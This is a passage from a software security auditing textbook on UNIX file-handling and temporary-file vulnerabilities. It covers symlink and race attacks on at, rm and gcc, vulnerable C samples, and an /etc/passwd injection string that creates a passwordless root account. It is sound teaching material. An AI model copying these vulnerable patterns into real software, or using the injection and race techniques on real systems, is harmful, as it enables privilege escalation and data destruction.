/usr/bin/at -r JOBNAME /* chdir into at spool directory */ chdir("/var/spool/cron/atjobs") /* check to make sure that the file is owned by the user */ stat64(JOBNAME, &statbuf) if (statbuf.st_uid != getuid()) exit(1); /* unlink the file */ unlink("JOBNAME") The at command changes to the atjobs spool directory, and if users own the file corresponding to the job they specify, the job file is deleted. The first vulnerability in at is that the job name can contain ../ path components. So attackers could use the following command: at -r ../../../../../../tmp/somefile The at command would delete /tmp/somefile, but only if somefile is owned by the user. So you can use it to delete files you own, which isn't all that interesting. However, there's a race condition between the call to stat() and the call to unlink() in the code. Keep in mind that unlink() doesn't follow symbolic links on the last directory component. So if you use the normal attack of putting a normal file for stat() to see, deleting it, and placing a symlink to the sensitive file, the unlink() call would just delete the symbolic link and not care what it pointed to. The trick to exploiting this code is to remember that unlink() follows symbolic links in directory components other than the last component. This attack is shown in Figure 9-10. Figure 9-10. Attacking the Solaris at command The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 556 First, attackers create a /tmp/bob directory, and in that directory create a normal file called shadow. The attackers let at run and perform the stat() check on the /tmp/bob/shadow file. The stat() check succeeds because it sees a normal file owned by the correct user. Then attackers delete the /tmp/bob/shadow file and the /tmp/bob directory. Next, they create a symbolic link so that /tmp/bob points to /etc. The at command proceeds to unlink /tmp/bob/shadow, which ends up unlinking /etc/shadow and potentially bringing down the machine. Moving Directories Underneath a Program Wojciech Purczynski also discovered an interesting vulnerability in the GNU file utils package. The code is a bit complicated, so the easiest way to show the issue is show the program's behavior at a system call trace level. The following code is based on his advisory (archived at http://seclists.org/bugtraq/2002/Mar/0160.html): Example of 'rm -fr /tmp/a' removing '/tmp/a/b/c' directory tree: (strace output simplified for better readability) chdir("/tmp/a") = 0 The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 557 chdir("b") = 0 chdir("c") = 0 chdir("..") = 0 rmdir("c") = 0 chdir("..") = 0 rmdir("b") = 0 fchdir(3) = 0 rmdir("/tmp/a") = 0 If you have a directory tree of /tmp/a/b/c, and you tell rm to recursively delete /tmp/a, it basically recurses into the deepest directory /tmp/a/b/c, and then uses chdir("..") and removes c. The rm program then uses chdir("..") to back up one more directory and delete b. Next, it uses fchdir() to go back to the original starting directory and delete /tmp/a. Wojciech's attack is quite clever. Say you let the program get all the way into the c directory, so it has a current working directory of /tmp/a/b/c. You can modify the directory structure before rm uses chdir(".."). If you move the c directory so that it's underneath /tmp, the rm program is suddenly in the /tmp/c directory instead of /tmp/a/b/c. From this point, it recurses upward too far and starts recursively removing every file on the system. Note Nick Cleaton discovered similar race conditions in the fts library (documented at http://security.freebsd.org/advisories/FreeBSD-SA-01:40.fts.asc), which is used to traverse through file systems on BSD UNIX derivatives. He's quite clever, too, even though he's not Polish. 7.5.9 Temporary Files Applications often make use of temporary files to store data that is in some intermediate format, or to channel data between related processes. This practice has proved dangerous, however; innumerable local UNIX security vulnerabilities are related to temporary file use. Public temporary directories can be an extremely hostile environment for programs attempting to make use of them. On most UNIX systems, there's a public temporary directory in /tmp and one in /var/tmp. Programs are free to create files in those directories for the purpose of temporary storage. The temporary directories are marked as sticky directories, which means only the file owner can delete or rename that file. These directories are usually mode octal 1777, granting everyone full read, write, and search permissions. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 558 Programs typically use temporary directories in two ways. Most programs want to create a new, unique temporary file they can use once and then discard. Some programs, however, want to open an existing temporary file, which they expect to have been created by a related program in the past. The following sections describe issues in both uses of temporary directories. Unique File Creation Many applications want to create a unique temporary file, use it, and then delete it or hand it off to another program. In general, you should check for all the file creation issues outlined earlier and the creation-related issues with symbolic links and race conditions. Several library calls, described in the following sections, are designed to assist in obtaining these unique temporary files. Unfortunately, the majority of them are fairly broken, as you will see. The mktemp() Function The mktemp() function takes a template for a filename and fills it out so that it represents a unique, unused filename. The template the user provides has XXX characters as placeholders for random data. However, that data is fairly easy to predict because it's based on the process ID of the program that calls mktemp() plus a simple static pattern. Here's some code that uses mktemp(): char temp[1024]; int fd; strcpy(temp, "/tmp/tmpXXXX"); if (!mktemp(temp)) die("mktemp"); fd=open(temp, O_CREAT | O_RDWR, 0700); if (fd<0) { perror("open"); exit(1); } ... The problem with this code, and the problem with all nearly uses of mktemp(), is a race condition between when the file is verified as unique and when the file is opened. If attackers can create a symbolic link after the call to mktemp() but before the call to open(), the program opens that symbolic link, potentially creating a file wherever it points, and starts writing to it. If the program is running with sufficient privileges, it The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 559 could be coerced into overwriting sensitive system files with data that could lead to an exploitable situation. Here's a real-world example of a vulnerability resulting from the use of mktemp(). Michael Zalewski observed that the GNU C Compiler (GCC) uses temporary files during its compilation process. The following slightly edited code is from a vulnerable version of gcc: #define TEMP_FILE "ccXXXXXX" char * choose_temp_base () { char *base = 0; char *temp_filename; int len; static char tmp[] = { DIR_SEPARATOR, 't', 'm', 'p', 0 }; static char usrtmp[] = { DIR_SEPARATOR, 'u', 's', 'r', DIR_SEPARATOR, 't', 'm', 'p', 0 }; base = try (getenv ("TMPDIR"), base); base = try (getenv ("TMP"), base); base = try (getenv ("TEMP"), base); /* Try /usr/tmp, then /tmp. */ base = try (usrtmp, base); base = try (tmp, base); /* If all else fails, use the current directory! */ if (base == 0) base = "."; len = strlen (base); temp_filename = xmalloc (len + 1 /*DIR_SEPARATOR*/ + strlen (TEMP_FILE) + 1); strcpy (temp_filename, base); if (len != 0 && temp_filename[len-1] != '/' && temp_filename[len-1] != DIR_SEPARATOR) temp_filename[len++] = DIR_SEPARATOR; strcpy (temp_filename + len, TEMP_FILE); mktemp (temp_filename); if (strlen (temp_filename) == 0) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 560 abort (); return temp_filename; } As you can see, gcc uses mktemp() to create temporary files in a public temporary directory. When you compile a program, gcc first creates an intermediate file in /tmp/ccXXXXXX.i. The X characters are filled in by mktemp(). When gcc goes to create other files, such as the assembly file (.s) and the object file (.o), it reuses that same ccXXXXXX base that was used for the intermediate file. Attackers can simply watch /tmp and look for .i files. As soon as they find one, they can create links to other files with the name gcc attempts to use for other temporary compilation files, and then gcc overwrites the linked files with the contents of the intermediate compilation file. If attackers wait for root to compile something, they can obtain root privileges by tricking root into overwriting a sensitive file. Note mktemp() almost always indicates a potential race condition because the unique filename it returns can often be predicted and taken before it's actually used by an application. The tmpnam() and tempnam() Functions The tmpnam() and tempnam() functions are similar to mktemp(), in that they're used to return the name of a temporary file available for use. tmpnam() looks for files in the system temporary directory, and tempnam() lets users specify the directory and file prefix to use for creating a temporary filename. Both functions have the same race condition issues as mktemp(), so you can consider them similar in terms of security. Here's a real-world example from xpdf-0.90, which contains a vulnerable use of tmpnam(): tmpnam(tmpFileName); if (!(f = fopen(tmpFileName, "wb"))) { error(-1, "Couldn't open temporary Type 1 font file '%s'", tmpFileName); return -1; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 561 If attackers create a symbolic link to a sensitive file after the call to tmpnam() but before the call to fopen(), xpdf creates or opens that file with the privileges of the user running xpdf. In addition, Eric Raymond's cstrings utility was vulnerable to a race condition involving the use of tempnam() (documented at www.securityfocus.com/bid/9391/info): if (argv[optind][0] != '/') (void) getcwd(buf, BUFSIZ); else buf[0] = '\0'; (void) strcat(buf, argv[optind]); if (cp = strrchr(buf, '/')) *cp = '\0'; if ((tf = tempnam(buf, "cstr")) == (char *)NULL) { perror("cstrings, making tempfile"); exit(1); } if ((ofp = fopen(tf, "w")) == (FILE *)NULL) { perror("cstrings, making output file"); exit(1); } Again, if attackers create a symbolic link to a sensitive file after the call to tempnam() but before the call to fopen(), the process opens the symbolic link target as the user running cstrings and writes font information to it. The mkstemp() Function The library function mkstemp() is much safer than mktemp(), assuming it's used correctly. It finds a unique filename, like mktemp(), but then proceeds to create the file and return a file descriptor to the program that has read and write access to the file. It does all this in a safe fashion. However, it is still possible for a developer to misuse mkstemp() in other ways, as shown in Listing 9-6. Listing 9-6. Reopening a Temporary File char g_mytempfile[1024]; void init_prog(void) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 562 { int fd; strcpy(g_mytempfile, "/tmp/tmpXXXXXX"); fd = mkstemp(g_mytempfile); if (fd==-1) die("mkstemp"); initialize_tmpfile(fd); close(fd); } void main_loop(void) { FILE *fp; ... /* open temporary file */ if ((fp=fopen(g_mytempfile,"rw"))==NULL) die("fopen"); ... You might see this code if a programmer tries to fix a program using mktemp() so that it uses mkstemp() instead. The init_prog() function creates a temporary file and initializes it to contain a default set of contents. The path to this temporary file is stored in g_mytempfile. Later in the application, the temporary file is reopened for further processing. The problem is that, although the initial creation of the temporary file was done safely, it's reopened later in an unsafe fashion. Malicious users might be able to manipulate that temporary file if they have sufficient permissions in the directory. If they could delete or rename the file and replace it with a symbolic link to a sensitive file, the program could potentially manipulate that sensitive file in an exploitable way. If users didn't have permissions for that kind of manipulation, they might still be able to place the process in a suspended state long enough that the temporary directory would be cleaned out by an administrative daemon. They could then re-create the file so that it points to a sensitive system file. Keep in mind that some System V UNIX implementations might honor the umask when creating a temporary file with mkstemp(), so it's a good idea for programs to set it properly beforehand. The tmpfile() and mkdtemp() Functions The tmpfile() function is similar to mkstemp(); its purpose is to create a unique file in the system's temporary directory and return a stream pointer to the file. This function The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 563 is generally implemented in a safe, atomic fashion, often using mkstemp(). According to Casper Dik, Solaris versions before 2.6 have a tmpfile() function that's vulnerable to race conditions, and IRIX and AIX are probably also vulnerable. mkdtemp() is used to create a unique directory. It takes a template similar to mkstemp() and creates a directory with mode 0700. This directory is then a safe place in which the program can operate. The O_CREAT | O_EXCL Flags Say that attackers can predict the filename an application uses, or the application uses a predetermined filename such as /tmp/.ps_data. In general, unless an application does something like the following, it's probably vulnerable to an attack: fd = open(filename, O_RDWR | O_CREAT | O_EXCL, FMODE); if (fd < 0) abort(); The call to open() specifies the O_CREAT | O_EXCL flag, which means the file is created only if a file with the same name does not already exist. If a file exists with that name, the open() call returns an error, which the application should expect in case of attack. Using O_CREAT | O_EXCL also means that if the last path component of the filename is a symbolic link, the kernel won't follow it. These flags make sure the file is created safely, as long as the application is ready for open() to return a failure condition in case of any funny business. File Reuse So far, you've focused on the creation of temporary files that are unique and don't already exist on the file system. Applications also might have a requirement to open temporary files that already exist in a temporary directory. These files might have a known, fixed filename, or they might have a unique filename that's explicitly passed along to program components that need to open the file. Programs might use these files to share information as a simple form of IPC or to cache processing results for use by a subsequent execution of a program. Opening these files safely is difficult. First, you want to make sure you aren't opening a symbolic link or hard link to a sensitive file. If you try to use lstat() to determine whether the file is a symbolic link, you introduce a race condition before the call to open(). If you call open() and then fstat() on the file, you end up following symbolic links unless your open() call supports the nonstandard Linux O_NOFOLLOW flag (and even then, O_NOFOLLOW only ensures that the last component of the pathname isn't a symbolic link). The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 564 If you try to prevent a hard link attack, you can run into trouble. If you use lstat() and then check the link count, you introduce a race condition before the call to open(). If you open the file first and then use fstat() to check the link count, you're again exposed to symbolic link attacks. If attackers can delete the link they made you open, the result of the fstat() might indicate a link count of one, even though you opened a sensitive file. Cryogenic Sleep Attacks Olaf Kirch, a well known security researcher, published an interesting vulnerability related to reusing temporary files. The following code, which is slightly modified from Olaf's Bugtraq post (available at http://seclists.org/bugtraq/2000/Jan/0016.html), represents an idiom for a safe way to open a persistent temporary file: if (lstat(fname, &stb1) >= 0) { if (!S_ISREG(stb1.st_mode) || (stb1.st_nlink>1)) raise_big_stink(); fd = open(fname, O_RDWR); if (fd < 0 || fstat(fd, &stb2) < 0) raise_big_stink(); if (stb1.st_ino != stb2.st_ino || stb1.st_dev != stb2.st_dev || stb2.st_nlink>1) raise_big_stink(); } else { fd = open(fname, O_RDWR | O_CREAT | O_EXCL, FMODE); if (fd < 0) raise_big_stink(); } This code represents a reasonably safe idiom for opening a potentially existing file in a public directory. The code first checks the file with lstat() and stores the results in the stat buffer structure stb1. If the lstat() fails, indicating that the file doesn't exist, the code attempts to create the file by using open() with the O_CREAT | O_EXCL flags. This open() doesn't follow symbolic links in the last path component, and it succeeds only if it's successful in creating the file. So if the file doesn't exist, the open() call attempts to create it in a safe fashion. If the file does exist, it's first analyzed with lstat() to make sure it's not a symbolic link or The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 565 hard link. Naturally, attackers could delete or rename the file and replace it with another file, device file, hard link, or symbolic link immediately after the lstat() security check. So the program opens the file and uses fstat(), and then uses the inode and device numbers from the fstat() and lstat() calls to check that the pathname hasn't been manipulated in the time that has elapsed since the program first called lstat(). If the pathname hasn't been tampered with, lstat() and fstat() should both indicate that the file has the same device and inode numbers. Note that the call to open() in the first block uses the O_RDWR flag, but not O_CREAT, ensuring that it doesn't create a file accidentally. This solution seems fairly robust, assuming the application can deal with the file open failing if tampering is detected. Kirch observed that in some situations, the inode and device check might be circumvented. Say that attackers create a regular file in the temporary directory with the filename the program is expecting. This program would call lstat() on the regular file and learn that it existed and wasn't a symbolic link. Say attackers then manage to send a job control signal, such as a SIGSTOP, to the application immediately after the lstat() but before the call to open(). This would be possible if the program is a setuid root program users had started in their terminal session. At this point, attackers would make note of the inode and device of the temporary file they created. They would then delete that file and wait for a sensitive file to be created with the same inode and device number. They could simply wait for something to happen, or they could call other privileged programs in ways designed to get them to create sensitive files. As soon as a sensitive file is created with an inode and device number equal to that of the original file, attackers would create a symbolic link to that file and resume the program. The program would perform the open() call, which would follow the symbolic link and open the sensitive file. However, when it analyzes the file, it would find that the inode and device numbers hadn't changed, so it wouldn't suspect anything odd was afoot. Temporary Directory Cleaners Michael Zalewski described an interesting class of attacks that can undermine the security of mkstemp() in certain environments (available at www.bindview.com/Services/Razor/Papers/2002/mkstemp.cfm). Many UNIX systems have a daemon that runs periodically to clean out public temporary directories, such as /tmp and /var/tmp. The program Zalewski analyzed, tmpwatch, is a popular program that performs this task. It goes through each file in the temporary directory and uses lstat() to determine the age of the file. If the file is old enough, the cleaning daemon uses unlink() on the file to delete it. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 566 Say you have a program that creates a temporary file securely by using mkstemp(), but later it uses the file in a potentially unsafe fashion by reopening the file or performing operations such as chmod() and chown() that work with filenames rather than file descriptors. If the temporary file is created properly, with the correct umask, ownership, and permissions, usually this isn't a problem in a sticky directory, as only the file's owner is able to rename or unlink the file. You've already looked at a code snippet with these characteristics in Listing 9-6. If you could get a temporary file to be unlinked after it was created but before an application used it again, you could potentially create an exploitable condition. Zalewski outlined two attacks that could do just this. The simplest attack is to start a privileged setuid program, let it create its temporary file, and then suspend the program with a SIGSTOP signal. Then simply wait the requisite number of days for the cleaning daemon to decide that the temporary file is old enough to be purged. After the daemon purges the file, create a symbolic link in its place and resume the privileged program. Zalewski outlined a more complex attack that requires considerably more delicate timing. The cleaning daemons are implemented so that there's a race condition between lstat() and unlink(). If you let the cleaner daemon use lstat() on a file and decide to unlink it, you could unlink it preemptively out from under the daemon. If another application creates a file with that name right before the cleaning daemon uses unlink(), that program's file would be deleted right out from under it. 7.5.10 The Stdio File Interface The UNIX kernel provides an interface for manipulating files based on file descriptors. The C stdio system provides a slightly richer interface for file interaction, which is based on the FILE structure. It's implemented as an abstraction layer on top of the kernel's file descriptor interface. UNIX application code commonly uses stdio in lieu of the lower-level system call API because it automatically implements buffering and a few convenience functions for data formatting. The extra layer of abstraction doesn't change the basic problems discussed so far, but it adds a few scenarios in which vulnerabilities can be introduced. A number of functions are provided to manipulate files by using these structures and to convert between file structures and file descriptors. A typical FILE structure contains a pointer to buffered file data (if it's a buffered stream), the file descriptor, and flags related to how the stream is opened. The glibc FILE structure is shown in the following code (slightly modified for brevity): struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 567 /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ int _fileno; ... _IO_lock_t *_lock; }; These structures can also be used for operating on other resources that can be represented by descriptors, such as sockets. Opening a File The fopen() function is used for opening files. It takes a path argument as well as a string indicating the mode for opening the file. The prototype is as follows: FILE *fopen(char *path, char *mode); Programs that use fopen() are subject to the same potential problems as those that use open(); the specified path must be validated correctly if it contains user-malleable data, and code should be careful not to work in directories where malicious attackers have influence. fopen()'s mode argument is a textual representation of what access the program needs for the file. The modes are listed in Table 9-6. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 568 Table 9-6. File Access Modes for fopen() Mode String Meaning r Open the file for read-only access r+ Open the file for reading and writing. The file offset pointer is pointing to the beginning of the file, so a write to this file causes data already in the file to be overwritten. w Open the file for writing. If the file already exists, it's truncated to 0 bytes. If it doesn't exist, it's created. w+ Identical to "r+" except the file is truncated if it exists. Additionally, this mode creates a file if it exists, whereas "r+" doesn't. a Open in append modethat is, the file is opened for writing. If the file already exists, the file offset pointer points to the end of the file so that writing to the stream doesn't overwrite data already in the file. If the file doesn't exist, it's created. a+ Open in append mode for both reading and writing. The file offset points to the beginning of the file so that data can be read from it, but when data is written, it's appended to the file. If the file doesn't exist, it's created. Of these six modes, only two don't implicitly create a new file. Therefore, it's very easy to accidentally create new files unintentionally with fopen(). Furthermore, because fopen() does not explicitly take a permissions bitmask argument, the default permissions of octal 0666 are applied (that is, everyone can read and write to the file). fopen() always further restricts file permissions based on the umask value of the current process. Because this umask value is an inheritable attribute, users can quite easily abuse calls to fopen() in a privileged application to create a file that anyone is able to write to. Therefore, careful attention should be paid to how fopen() is used in a privileged context, especially when it's using modes that result in file creation. Even when it's creating a temporary file in a location that attackers can't generally control, modifying the umask and then writing malicious data can often result in a compromise of the application. Note Recent glibc fopen() implementations also allow developers to specify an 'x' in the mode string parameter. This causes fopen() to specify the O_EXCL flag to open(), thus ensuring that a new file is created. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 569 Two other functions are provided for opening file streams: freopen() for reopening a previously opened file stream and fdopen() for creating a FILE structure for a preexisting socket descriptor. The freopen() function is vulnerable to the same sort of problems related to file creation as fopen() is; however, fdopen() is not because all it does is create a FILE structure and associate it with a preexisting file descriptor. Reading from a File The fread() function can be used to read data from files in a manner similar to the way read() works, except it's intended to read a certain number of elements of a specific size. The prototype for fread() is as follows: int fread(void *buffer, size_t size, size_t count, FILE *fp) This function reads count elements (each of which is size bytes long) from the file pointed to by fp. Note Notice that fread() takes two parameters, indicating the size of an element and the number of elements to be read. Since these parameters will eventually be multiplied together, there is the potential for fread() to contain an integer overflow internally (glibc has this problem). In certain situations, such an overflow might create an opportunity for exploitation. Because many applications process files containing text data, the fgets() function is provided, which is used to read a single line of the input from the file. The function prototype looks like this: char *fgets(char *buffer, size_t size, FILE *fp); This function returns a pointer to the input buffer when it's able to read a line from the file successfully. It returns NULL if an error has occurred (usually an EOF was encountered). The fgets() function could be used in a manner that exposes the application to problems when parsing files. First, ignoring the return value can lead to problems, as you've seen in previous examples. When fgets() returns NULL, the contents of the destination buffer are unspecified, so a program that fails to check the return value of fgets() probably ends up processing uninitialized data in the destination buffer. An example of this mistake would look this: int read_email(FILE *fp) { The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 570 char user[1024], domain[1024]; char buf[1024]; int length; fgets(buf, sizeof(buf), fp); ptr = strchr(buf, '@'); if(!ptr) return 1; *ptr++ = '\0'; strcpy(user, buf); strcpy(domain, ptr); ... } In the read_email() function, the fact that the return value of fgets() is ignored means the content of buf remains undefined if fgets() fails. The fgets() function guarantees NUL-termination only when it returns successfully, so the buf variable that's subsequently copied out of might contain a text string that's longer than 1024 bytes (because it's uninitialized and fgets() hasn't done anything to it). Therefore, either of the calls to strcpy() can potentially overflow the user and domain stack buffers. Note Saying that the buffer contents aren't touched by fgets() when an error is encountered is an oversimplification, and isn't true for all fgets() implementations. If the file finishes with a partial line, BSD implementations copy the partial line into the buffer and then return NULL, indicating an EOF was encountered. The buffer is not NUL-terminated in this case. Using this behavioral quirk might allow easier exploitation of bugs resulting from unchecked fgets() return values because the stack buffer can have user-controllable data from the file in it. The Linux glibc implementation does not exhibit the same behavior; it copies a partial line into the buffer, NUL-terminates it, and returns successfully; then it signals an error the next time fgets() is called. Another potential misuse of fgets() happens when a privileged file containing some user-controlled data is incorrectly parsed. For example, say a file is being parsed to check user credentials. Each line contains a valid user in the system and has the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 571 format user:password:real name (not unlike the UNIX /etc/passwd file format). The following code authenticates users: struct entry { char user[256]; char password[256]; char name[1024]; }; int line_to_entry (char *line, struct entry *ent) { char *ptr, *nptr; ptr = strchr(line, ':'); if(ptr == NULL || (ptr line) >= sizeof(ent->user))) return 1; *ptr++ = '\0'; strcpy(ent->user, line); nptr = strchr(ptr, ':'); if(nptr == NULL || (nptr ptr) >= sizeof(ent->password)) return 1; *nptr++ = '\0'; strcpy(ent->password, ptr); if(strlen(nptr) >= sizeof(ent->name)) return 1; strcpy(ent->name, nptr); return 0; } int auth_user(char *user, char *password) { FILE *fp; struct entry ent; fp = fopen("/data/users.pwd", "r"); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 572 if(fp == NULL) return 0; while(fgets(filedata, sizeof(filedata), fp) != NULL){ if(line_to_entry(filedata, &ent) < 0) return 0; if(strcmp(user, ent.user) != 0) continue; if(strcmp(password, ent.password) != 0) break; /* correct user, incorrect password */ fclose(fp); return 1; /* success! */ } fclose(fp); return 0; } This example runs through each username and password in the file attempting to authenticate a user. The problem is that the bolded call to fgets() is potentially flawed. The fgets() function reads only up to the specified size (in this case, 1024 bytes), so if the line is longer, only the first 1023 bytes are returned in the first call to fgets(), and the rest of the line is returned in the next call. If attackers could specify a real name written to this file of 1024 bytes (or thereabouts), their username entry would be incorrectly parsed as two entriesthe first 1023 bytes being one entry, and the remaining data in the line being a new entry. They could use this result to effectively authenticate themselves as any user they wanted (including adding new usernames to the database). Finally, the fscanf() function is used to read data of a specified format directly into variables, eliminating the need for application developers to interpret text data as integer values, strings, and so forth. As discussed in Chapter 8(? [????.]), "Strings and Metacharacters," it's easy for buffer overflows to occur when using this function to read in string values. To recap, here's a quick example: struct entry { char user[256]; char password[256]; char name[1024]; }; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 573 int line_to_entry (FILE *fp, struct entry *ent) { int rc; rc = fscanf(fp, "%s:%s:%s", ent->user, ent->password, ent->name); return (rc == 3) ? 0 : -1; } This code is a slightly modified example of the fgets() vulnerability you saw previously. Notice how much work using fscanf() cut out. The function in the example is vulnerable to simple buffer overflows, however, because there are no limits on how large the username, password, and real name entries can be. Using qualifiers can help limit the length of strings being read in so that overflows don't occur. Another important thing about fscanf() is checking that the return value is equal to the number of elements it successfully parsed according to the input string format. Like fgets(), a failure to check the return value means the program might deal with potentially uninitialized variables. It's a little more common that the return value from fscanf() isn't checked (or not adequately checked) than fgets(). Consider the following example: struct entry { char user[256]; char password[256]; char name[1024]; }; int line_to_entry (FILE *fp, struct entry *ent) { if(fscanf(fp, "%s:%s:%s", ent->user, ent->password, ent->name) < 0) return -1; return 0; } This code checks that fscanf() returns a value greater than 0, but this check is insufficient; if the code encounters a line from the file it's parsing that doesn't contain any separators (:), ent->password and ent->name are never populated, so referencing them would result in the program processing uninitialized data. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 574 Note You might wonder why the discussion on format string vulnerabilities in Chapter 8(? [????.]) mentioned the printf() family of functions but not scanf(). The reason is that the authors have never encountered code in which a user can control part of the format string to a scanf() function, and it seems unlikely that would happen. However, if a user could partially control a format string passed to scanf(), it would likely be exploitable (depending on certain conditions, such as what data is on the stack). Malicious users who supplied extraneous format specifiers could corrupt memory and probably gain complete control over the application. Writing to a File Each function described in the previous section has a counterpart that writes data into a file. There are more limitations on users' ability to adversely affect an application that's writing to a file because the data being manipulated is already in memory; the process of writing it into a file doesn't often have as many security implications as reading and operating on data (except, of course, if you have already caused the application to open a sensitive file). Having said that, there are definitely things that can go wrong. The first problem associated with writing to files is using the printf() functions. Chapter 8(? [????.]) discussed format string vulnerabilities that could occur when users can partially control the format string argument. This class of vulnerabilities allows users to corrupt arbitrary locations in memory by specifying extraneous format specifiers and usually result in a complete compromise of the vulnerable program. Another problem with file output is inconsistencies in how the file should be formatted. If users can insert delimiters the application didn't adequately check for, that might allow malformed or additional entries to be inserted in the file. For example, the following code shows a privileged process charged with updating real name information in the system password file (/etc/passwd): int update_info(FILE *fp, struct passwd *pw) { if(fprintf(fp, "%s:%s:%lu:%lu:%s:%s%s\n", pw->pw_name, pw->pw_passwd, pw->pw_uid, pw->pw_gid, pw->pw_gecos, pw->pw_dir, pw->pw_shell) < 0) return -1; return 0; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 575 This example is almost identical to the putpwent() implementation in glibc. Obviously, any program using this function would need to be careful; if the pw_gecos field, for example, is being updated and contains extra delimiters (in this case, : or \n), it could be used to insert arbitrary password entries in the passwd file. Specifically, if a pw_gecos field contains the string hi:/:/bin/sh\nnew::0:0:, this function would inadvertently create a username called new that has no password and root privileges! You learn about more types of writing-related problems when rlimits are discussed in Chapter 10(? [????.]), "UNIX II: Processes." Closing a File Finally, when a program is done with a file stream, it can close it in much the same way close() is used on a file descriptor. Here's the prototype: int fclose(FILE *stream); Because the file API uses descriptors internally, failure to close a file that has been opened results in file descriptor leaks (covered in the "File Descriptors(? [????.])" section earlier in this chapter). Additionally, most fclose() implementations free memory that's being used to buffer file data and might also free the FILE structure. For example, look at the glibc fclose() implementation: int _IO_new_fclose (fp) _IO_FILE *fp; { int status; CHECK_FILE(fp, EOF); ... if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr) { fp->_IO_file_flags = 0; free(fp); } return status; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 576 Notice the call to free() that passes fp as a parameter. If a program calls fclose() twice on a FILE structure using this implementation, a double free() would occur, and the heap could potentially be corrupted. Other implementations (such as OpenBSD's) are a little more resistant to these problems; however, closing a file twice might still result in vulnerable situations related to a different file being closed unexpectedly. Note In the OpenBSD 3.6 fclose(), it might also be possible to trigger a double free() by closing a file twice, if the double fclose() was caused by a well-timed signal handler or competing thread. 7.5.11 Summary UNIX systems present an ostensibly clean and simple interface for privilege management and file manipulation. Closer inspection, however, reveals many subtle nuances that can conspire to make things difficult for security-conscious developers. At the end of the day, it's not easy to create totally bug-free secure code, especially when you're trying to make applications portable across a number of different UNIX systems. You have explored myriad problems that can occur in file and privilege code and auditing techniques that should equip you to audit security-sensitive UNIX applications. 7.6 Chapter 10. UNIX II: Processes "I can't believe how UNIX you look now." M. Dowd, commenting on J. McDonald's appearance after not shaving for eight months 7.6.1 Introduction Chapter 9(? [????.]), "UNIX I: Privileges and Files," introduced the essential concepts of how UNIX OSs provide security. This chapter extends the discussion of UNIX by focusing on the security of UNIX processes and the environment in which they run. You will learn how to evaluate the security implications of how a process is invoked, as well as the security-relevant considerations of the process environment. You will also see how small changes in process behavior can have a major impact that manifests as exploitable privilege-escalation vulnerabilities. This coverage will provide you with the understanding necessary to audit a UNIX application for vulnerabilities that exist when the process environment is not adequately protected. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 577 7.6.2 Processes Before jumping into vulnerabilities that can occur based on a process's context and environment, you need to understand how processes operate in a typical UNIX system. A process is a data structure that an OS maintains to represent one instance of a program running in memory. A UNIX process has a considerable amount of state associated with it, including its own virtual memory layout and all the machine-specific information necessary to stop and start the flow of execution. As noted in the previous chapter, each process has an associated process ID (PID), which is typically a small positive integer that uniquely identifies that process on the system. Most operating systems assign process IDs to new processes based on a systemwide counter that's incremented with each process that is created. Note Although this setup is typical, it's not universally true for all UNIX systems. One system that differs is OpenBSD, which selects a random PID for each new process. Generating random PIDs is intended to augment the security of an application that might use its PID in a security-sensitive context (such as using a PID as part of a filename). Using random PIDs can also make it more difficult for malicious parties to probe for the existence of running processes or infer other information about the system such as its current workload. Process Creation New processes are created in the UNIX environment with the fork() system call. When a process calls fork(), the kernel makes a nearly identical clone of that process. The new process will initially share the same memory, attributes, and resources as the old process. However, the new process will be given a different process ID, as well as some other minor differences; but in general, it's a replica of the original process. When a new process is created with the fork() system call, the new process is referred to as a child of the original process. In UNIX, each process has a single parent process, which is usually the process that created it, and zero or more child processes. Processes can have multiple children, as they can make multiple copies of themselves with fork(). These parent and child relationships are tracked in the kernel structures that represent processes. A process can obtain the process ID of its parent process with the system call getppid(). If a process terminates while its children are still running, those child processes are assigned a "foster" parent: the special process init, which has a static PID (1) across all systems. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 578 Consider what happens when a process calls fork(). The fork() system call creates another process that's a copy of the first one, and then the old and new processes are handed back over to the system to be scheduled at the next appropriate time. Both processes are running the same program, and both start processing at the instruction immediately after the system call to fork(). However, the return value of fork() differs based on whether the process is the parent or the child. The parent process receives the PID of the newly created child process, and the child process receives a return value of 0. A return value of -1 indicates that the fork() operation failed, and no child was spawned. Here's an example of creating a process with fork(): pid_t pid; switch (pid=fork()) { case -1: perror("fork"); exit(1); case 0: printf("I'm the child!\n"); do_child_stuff(); exit(1); default: 